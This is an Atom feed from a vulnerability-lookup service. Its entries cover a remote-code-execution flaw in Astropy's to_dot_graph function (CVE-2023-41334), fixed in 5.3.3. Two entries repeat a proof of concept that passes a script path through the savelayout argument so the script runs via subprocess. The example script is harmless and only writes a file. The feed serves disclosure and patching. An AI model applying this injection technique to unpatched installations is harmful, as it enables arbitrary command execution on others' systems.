<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://cve.radiocsirt.org/rss/recent/all/10</id>
  <title>Most recent entries from all</title>
  <updated>2026-10-18T23:49:21.269894+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>csirt@opendfir.org</email>
  </author>
  <link href="https://cve.radiocsirt.org" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent entries.</subtitle>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/certfr-2024-avi-1103</id>
    <title>certfr-2024-avi-1103 — De multiples vulnérabilités ont été découvertes dans les produits IBM. Certaines d'entre elles permettent à un attaquan…</title>
    <updated>2026-10-18T23:49:21.275332+00:00</updated>
    <content>certfr-2024-avi-1103</content>
    <link href="https://cve.radiocsirt.org/vuln/certfr-2024-avi-1103"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/euvd-2026-9238</id>
    <title>EUVD-2026-9238</title>
    <updated>2026-10-18T23:49:21.275370+00:00</updated>
    <content>EUVD-2026-9238</content>
    <link href="https://cve.radiocsirt.org/vuln/euvd-2026-9238"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/fkie_cve-2023-41334</id>
    <title>fkie_cve-2023-41334</title>
    <updated>2026-10-18T23:49:21.275384+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml">
        <p>Astropy is a project for astronomy in Python that fosters interoperability between Python astronomy packages. Version 5.3.2 of the Astropy core package is vulnerable to remote code execution due to improper input validation in the `TranformGraph().to_dot_graph` function. A malicious user can provide a command or a script file as a value to the `savelayout` argument, which will be placed as the first value in a list of arguments passed to `subprocess.Popen`.  Although an error will be raised, the command or script will be executed successfully. Version 5.3.3 fixes this issue.</p>
      </div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/fkie_cve-2023-41334"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/ghsa-h2x6-5jx5-46hf</id>
    <title>GHSA-h2x6-5jx5-46hf — RCE in TranformGraph().to_dot_graph function</title>
    <updated>2026-10-18T23:49:21.275414+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> PyPI: astropy</p>
<p>### Summary
RCE due to improper input validation in TranformGraph().to_dot_graph function</p>
<p>### Details</p>
<p>Due to improper input validation a malicious user can provide a command or a script file as a value to `savelayout` argument, which will be placed as the first value in a list of arguments passed to `subprocess.Popen`. 
https://github.com/astropy/astropy/blob/9b97d98802ee4f5350a62b681c35d8687ee81d91/astropy/coordinates/transformations.py#L539
Although an error will be raised, the command or script will be executed successfully.</p>
<p>### PoC</p>
<p>```shell
$ cat /tmp/script
#!/bin/bash
echo astrorce &gt; /tmp/poc.txt
```
```shell
$ python3
Python 3.9.2 (default, Feb 28 2021, 17:03:44) 
[GCC 10.2.1 20210110] on linux
Type "help", "copyright", "credits" or "license" for more information.
&gt;&gt;&gt; from astropy.coordinates.transformations import TransformGraph
&gt;&gt;&gt; tg = TransformGraph()
&gt;&gt;&gt; tg.to_dot_graph(savefn="/tmp/1.txt", savelayout="/tmp/script")
Traceback (most recent call last):
  File "&lt;stdin&gt;", line 1, in &lt;module&gt;
  File "/home/u32i/.local/lib/python3.9/site-packages/astropy/coordinates/transformations.py", line 584, in to_dot_graph
    stdout, stderr = proc.communicate(dotgraph)
  File "/usr/lib/python3.9/subprocess.py", line 1134, in communicate
    stdout, stderr = self._communicate(input, endtime, timeout)
  File "/usr/lib/python3.9/subprocess.py", line 1961, in _communicate
    input_view = memoryview(self._input)
TypeError: memoryview: a bytes-like object is required, not 'str'
&gt;…</p></div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/ghsa-h2x6-5jx5-46hf"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/gsd-2023-41334</id>
    <title>gsd-2023-41334</title>
    <updated>2026-10-18T23:49:21.275458+00:00</updated>
    <content>gsd-2023-41334</content>
    <link href="https://cve.radiocsirt.org/vuln/gsd-2023-41334"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/opensuse-su-2024:13797-1</id>
    <title>openSUSE-SU-2024:13797-1 — python310-astropy-6.0.0-3.1 on GA media</title>
    <updated>2026-10-18T23:49:21.275471+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml">
        <p>python310-astropy-6.0.0-3.1 on GA media</p>
      </div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/opensuse-su-2024:13797-1"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/pysec-2026-1199</id>
    <title>PYSEC-2026-1199 — RCE in TranformGraph().to_dot_graph function</title>
    <updated>2026-10-18T23:49:21.275487+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> PyPI: astropy</p>
<p>### Summary
RCE due to improper input validation in TranformGraph().to_dot_graph function</p>
<p>### Details</p>
<p>Due to improper input validation a malicious user can provide a command or a script file as a value to `savelayout` argument, which will be placed as the first value in a list of arguments passed to `subprocess.Popen`. 
https://github.com/astropy/astropy/blob/9b97d98802ee4f5350a62b681c35d8687ee81d91/astropy/coordinates/transformations.py#L539
Although an error will be raised, the command or script will be executed successfully.</p>
<p>### PoC</p>
<p>```shell
$ cat /tmp/script
#!/bin/bash
echo astrorce &gt; /tmp/poc.txt
```
```shell
$ python3
Python 3.9.2 (default, Feb 28 2021, 17:03:44) 
[GCC 10.2.1 20210110] on linux
Type "help", "copyright", "credits" or "license" for more information.
&gt;&gt;&gt; from astropy.coordinates.transformations import TransformGraph
&gt;&gt;&gt; tg = TransformGraph()
&gt;&gt;&gt; tg.to_dot_graph(savefn="/tmp/1.txt", savelayout="/tmp/script")
Traceback (most recent call last):
  File "&lt;stdin&gt;", line 1, in &lt;module&gt;
  File "/home/u32i/.local/lib/python3.9/site-packages/astropy/coordinates/transformations.py", line 584, in to_dot_graph
    stdout, stderr = proc.communicate(dotgraph)
  File "/usr/lib/python3.9/subprocess.py", line 1134, in communicate
    stdout, stderr = self._communicate(input, endtime, timeout)
  File "/usr/lib/python3.9/subprocess.py", line 1961, in _communicate
    input_view = memoryview(self._input)
TypeError: memoryview: a bytes-like object is required, not 'str'
&gt;…</p></div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/pysec-2026-1199"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/ubuntu-cve-2023-41334</id>
    <title>UBUNTU-CVE-2023-41334</title>
    <updated>2026-10-18T23:49:21.275522+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> Ubuntu:18.04:LTS: astropy, Ubuntu:20.04:LTS: astropy, Ubuntu:22.04:LTS: astropy</p>
<p>Astropy is a project for astronomy in Python that fosters interoperability between Python astronomy packages. Version 5.3.2 of the Astropy core package is vulnerable to remote code execution due to improper input validation in the `TranformGraph().to_dot_graph` function. A malicious user can provide a command or a script file as a value to the `savelayout` argument, which will be placed as the first value in a list of arguments passed to `subprocess.Popen`.  Although an error will be raised, the command or script will be executed successfully. Version 5.3.3 fixes this issue.</p></div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/ubuntu-cve-2023-41334"/>
  </entry>
</feed>
